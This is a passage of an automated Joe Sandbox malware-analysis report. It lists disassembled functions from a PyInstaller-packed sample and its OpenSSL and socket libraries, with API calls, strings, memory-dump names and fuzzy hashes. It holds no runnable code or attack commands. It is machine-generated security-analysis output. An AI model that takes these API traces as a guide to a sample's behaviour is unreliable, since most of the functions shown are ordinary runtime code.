FreeLibrary.KERNEL32(?,?,?,00007FF7EAD1F0AA,?,?,000001DCB39E98F8,00007FF7EAD1AD53,?,?,?,00007FF7EAD1AC4A,?,?,?,00007FF7EAD15F3E), ref: 00007FF7EAD1EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF7EAD1F0AA,?,?,000001DCB39E98F8,00007FF7EAD1AD53,?,?,?,00007FF7EAD1AC4A,?,?,?,00007FF7EAD15F3E), ref: 00007FF7EAD1EE98

Strings

api-ms-, xrefs: 00007FF7EAD1EDD6
ext-ms-, xrefs: 00007FF7EAD1EDE9

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: b39e7234e96bca1a87d7e83c421984d7c3d88e8cf35b04d14a611052094d365f
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 1941F265B19A1241FB16EB269800B75A399FF59B90FC8857ADD1D8738CEE3CE4058222

Function 00007FF8E8136234 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32 ref: 00007FF8E813632C
WSAIoctl.WS2_32 ref: 00007FF8E813639D
WSAIoctl.WS2_32 ref: 00007FF8E813640C

Strings

k(kkk):ioctl, xrefs: 00007FF8E8136359
kO:ioctl, xrefs: 00007FF8E813626F
kI:ioctl, xrefs: 00007FF8E81362EC, 00007FF8E81363C8
invalid ioctl command %lu, xrefs: 00007FF8E81362AE

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: Ioctl
String ID: invalid ioctl command %lu$k(kkk):ioctl$kI:ioctl$kO:ioctl
API String ID: 3041054344-4238462244
Opcode ID: 441793013725e27a22c0b2ab8fe50c6f096d6b0bae4d3890f8c4f5f827f12015
Instruction ID: fa06be860fecd68539593aacb7ef9e3d79e8f3dc51b18566b737d479dbecde1f
Opcode Fuzzy Hash: 441793013725e27a22c0b2ab8fe50c6f096d6b0bae4d3890f8c4f5f827f12015
Instruction Fuzzy Hash: 38513A72B18A4299EB50CBA0E8406ED33B0FB487D8F550132EA9E93B98DF3CD554C755

Function 00007FF7EAD02C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
MessageBoxW.USER32 ref: 00007FF7EAD02D99

Strings

Error, xrefs: 00007FF7EAD02D8C
%ls: , xrefs: 00007FF7EAD02D22
<FormatMessageW failed.>, xrefs: 00007FF7EAD02D70
[PYI-%d:ERROR] , xrefs: 00007FF7EAD02CA6

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 9ecc6b87ec965c91b67ea067c1b481f8fca2832ff5f007ae2c7cd0bea07cbbb1
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 2931B332B08A4142F721EB25A8543AAA796FB88B98F810136EF4D9375DDE3CD546C721

Function 00007FF8E7A21497 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 306COMMON

Download Yara Rule

Strings

HMAC, xrefs: 00007FF8E7A7928B
tls_construct_stoc_cookie, xrefs: 00007FF8E7A78F8F, 00007FF8E7A791BE, 00007FF8E7A7934C, 00007FF8E7A793C8, 00007FF8E7A7943D
, xrefs: 00007FF8E7A792A3
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8E7A78F9B, 00007FF8E7A791CA, 00007FF8E7A79353, 00007FF8E7A793D4, 00007FF8E7A79444
SHA2-256, xrefs: 00007FF8E7A792D7

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $..\s\ssl\statem\extensions_srvr.c$HMAC$SHA2-256$tls_construct_stoc_cookie
API String ID: 0-1087561517
Opcode ID: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction ID: b4b3b26a3a378ca5e687b7c91eddfc8a523b3862929a3fd5ad125d5a70a11587
Opcode Fuzzy Hash: b04bc961801d08b794c6a8917a6a781b33b1234d7739c92a3603f12c1ead9c39
Instruction Fuzzy Hash: 43D14D61B0CA8380FB64AAE2E5537FE2295AF457C4F844032ED2E57BC6DE3DE5458312

Function 00007FF8E7A226E4 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

SSL_CTX_use_serverinfo_file, xrefs: 00007FF8E7A4A521, 00007FF8E7A4A562, 00007FF8E7A4A626, 00007FF8E7A4A79C, 00007FF8E7A4A7D2, 00007FF8E7A4A7FB, 00007FF8E7A4A826, 00007FF8E7A4A84A
SERVERINFO FOR , xrefs: 00007FF8E7A4A5E6
..\s\ssl\ssl_rsa.c, xrefs: 00007FF8E7A4A52D, 00007FF8E7A4A56E, 00007FF8E7A4A62D, 00007FF8E7A4A69B, 00007FF8E7A4A6F6, 00007FF8E7A4A70F, 00007FF8E7A4A729, 00007FF8E7A4A7A8, 00007FF8E7A4A7DE, 00007FF8E7A4A802, 00007FF8E7A4A832, 00007FF8E7A4A856, 00007FF8E7A4A878, 00007FF8E7A4A88E, 00007FF8E7A4A8A4, 00007FF8E7A4A8BA
SERVERINFOV2 FOR , xrefs: 00007FF8E7A4A650

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_rsa.c$SERVERINFO FOR $SERVERINFOV2 FOR $SSL_CTX_use_serverinfo_file
API String ID: 0-2528746747
Opcode ID: 98d70f9a39462037c8b1c5d7b0f73ea762ea31059b56d3381b4878a8d9f0083a
Instruction ID: 4e6ad4c0c55f6e7683bddea0a9fde3b67936a7ae26bf6149a9d0dedd46f94866
Opcode Fuzzy Hash: 98d70f9a39462037c8b1c5d7b0f73ea762ea31059b56d3381b4878a8d9f0083a
Instruction Fuzzy Hash: 33B18D61B0865285FB15EBE2E8423BD2761FF847C5F904032EA2D47A96EF3DE6458343

Function 00007FF7EAD0DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD4D
GetLastError.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DD85
FreeLibrary.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF7EAD0DF7A,?,?,?,00007FF7EAD0DC6C,?,?,?,00007FF7EAD0D869), ref: 00007FF7EAD0DDFF

Strings

api-ms-, xrefs: 00007FF7EAD0DD6D

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 2c713b49549d6f197d2fde16d52d0d293cb4c8df6ec7ff3b1af5dffb154b89d4
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 8B31A121B1A74291FE12EB06A4407B9A395FF48FA8F994577ED5D07388EF7CE4448231

Function 00007FF7EAD02A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7EAD0351A,?,00000000,00007FF7EAD03F23), ref: 00007FF7EAD02AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF7EAD02AA8
0, xrefs: 00007FF7EAD02B16
Warning, xrefs: 00007FF7EAD02B1E
Warning [ANSI Fallback], xrefs: 00007FF7EAD02B0F
WARNING, xrefs: 00007FF7EAD02AAF

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: f5e54560c04cc6bca7bda04a6944ccef72f7451e5b81d96eeb26d12b1cbd133b
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 29217F72A19B8142F720EB61B8817E6A7A4FB88784F800176FE8D4365DDF7CD245C651

Function 00007FF7EAD08570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7EAD08590
OpenProcessToken.ADVAPI32 ref: 00007FF7EAD085A3
GetTokenInformation.ADVAPI32 ref: 00007FF7EAD085C8
GetLastError.KERNEL32 ref: 00007FF7EAD085D2
GetTokenInformation.ADVAPI32 ref: 00007FF7EAD08612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7EAD0862E
CloseHandle.KERNEL32 ref: 00007FF7EAD08646

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 7a205ca501030bbe37e45ae4147238bd0d51d1dbba501999e9b6e4a0af08ac41
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: ED216F31A0C64242FB10EB55B58432EE3A5EB817A4FD00276EAAC43BECDEBCD4558721

Function 00007FF7EAD1B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7EAD1B15F
FlsGetValue.KERNEL32 ref: 00007FF7EAD1B174
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B195
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1C2
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1D3
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B1E4
SetLastError.KERNEL32 ref: 00007FF7EAD1B1FF

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction ID: 8a3ba129aaf0e41bd238301cd0bc4d9668ea0521642bac162b1e70f298d2df74
Opcode Fuzzy Hash: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction Fuzzy Hash: BD215C30E0964281F655F3319652379D396DF687B0F8146B7D93E476DEDD3CA8808222

Function 00007FF8E8137FC8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF8E8138042
getservbyport.WS2_32 ref: 00007FF8E8138050

Strings

socket.getservbyport, xrefs: 00007FF8E8138015
getservbyport: port must be 0-65535., xrefs: 00007FF8E81380A1
port/proto not found, xrefs: 00007FF8E8138073
i|s:getservbyport, xrefs: 00007FF8E8137FD8

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: getservbyporthtons
String ID: getservbyport: port must be 0-65535.$i|s:getservbyport$port/proto not found$socket.getservbyport
API String ID: 3477891686-2618607128
Opcode ID: 4471399b94432fca938d6bd7da45e6e9e5440958a35927fdab7468f72b463937
Instruction ID: 36e880a631399776a2b2199e98d4a8e9082cc79d6a3b1e5f770aa2a7a57a7e92
Opcode Fuzzy Hash: 4471399b94432fca938d6bd7da45e6e9e5440958a35927fdab7468f72b463937
Instruction Fuzzy Hash: 51210931A18A0382EB109BA1E88477D7371FB86BC5F560031DA8E57668DF3DE499C70A

Function 00007FF7EAD27D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7EAD27D9D
GetLastError.KERNEL32 ref: 00007FF7EAD27DA9
CloseHandle.KERNEL32 ref: 00007FF7EAD27DC1
CreateFileW.KERNEL32 ref: 00007FF7EAD27DEC
WriteConsoleW.KERNEL32 ref: 00007FF7EAD27E0B

Strings

CONOUT$, xrefs: 00007FF7EAD27DCD

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 7bd9408958f38dd35ee73b0b19f1becb0e3da1c08a021a71317dd89eae2cf5ae
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 7311B131A18B4282F760EB12E844329A3A4FB88BF4F840275EA5D87798CF7CD814C721

Function 00007FF8E7A22310 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 391COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A8808D

Strings

tls_process_new_session_ticket, xrefs: 00007FF8E7A8801D, 00007FF8E7A882D2, 00007FF8E7A88371, 00007FF8E7A8843D
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FF8E7A88024, 00007FF8E7A880AB, 00007FF8E7A880C7, 00007FF8E7A882DE, 00007FF8E7A8837D, 00007FF8E7A883FA, 00007FF8E7A88444, 00007FF8E7A88476
SHA2-256, xrefs: 00007FF8E7A8825C
resumption, xrefs: 00007FF8E7A883AA

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\statem\statem_clnt.c$SHA2-256$resumption$tls_process_new_session_ticket
API String ID: 3464486852-1635961163
Opcode ID: f98c1f9ab64da6bd1c0876dbebf8bdfa299ed10f1d79f079bfe0f178839aff30
Instruction ID: 68d787a6a59951a8f4de5357ea641e6fb8a5262cd7456c8115e0b959be6e0049
Opcode Fuzzy Hash: f98c1f9ab64da6bd1c0876dbebf8bdfa299ed10f1d79f079bfe0f178839aff30
Instruction Fuzzy Hash: B7029B32B08B8281F7508B96E4867BD77A0EB84BC4F548136EAAD47795DF3CE591C702

Function 00007FF7EAD08ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08F5A

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD08FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD09044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD09055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7EAD03FB1), ref: 00007FF7EAD0906A

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 13a75050ef9c01607e677343f9a0904565bb5ea5655d81eefebb84b5324e9fba
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: 8241B761A1968281FA30EB61E5803BAB395FB84BC8F840176DF4D5779DDE3CE500C721

Function 00007FF7EAD090E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD08570: GetCurrentProcess.KERNEL32 ref: 00007FF7EAD08590
Part of subcall function 00007FF7EAD08570: OpenProcessToken.ADVAPI32 ref: 00007FF7EAD085A3
Part of subcall function 00007FF7EAD08570: GetTokenInformation.ADVAPI32 ref: 00007FF7EAD085C8
Part of subcall function 00007FF7EAD08570: GetLastError.KERNEL32 ref: 00007FF7EAD085D2
Part of subcall function 00007FF7EAD08570: GetTokenInformation.ADVAPI32 ref: 00007FF7EAD08612
Part of subcall function 00007FF7EAD08570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7EAD0862E
Part of subcall function 00007FF7EAD08570: CloseHandle.KERNEL32 ref: 00007FF7EAD08646

LocalFree.KERNEL32(?,00007FF7EAD03C55), ref: 00007FF7EAD0916C
LocalFree.KERNEL32(?,00007FF7EAD03C55), ref: 00007FF7EAD09175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF7EAD09157
S-1-3-4, xrefs: 00007FF7EAD09121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7EAD09142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7EAD09183

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
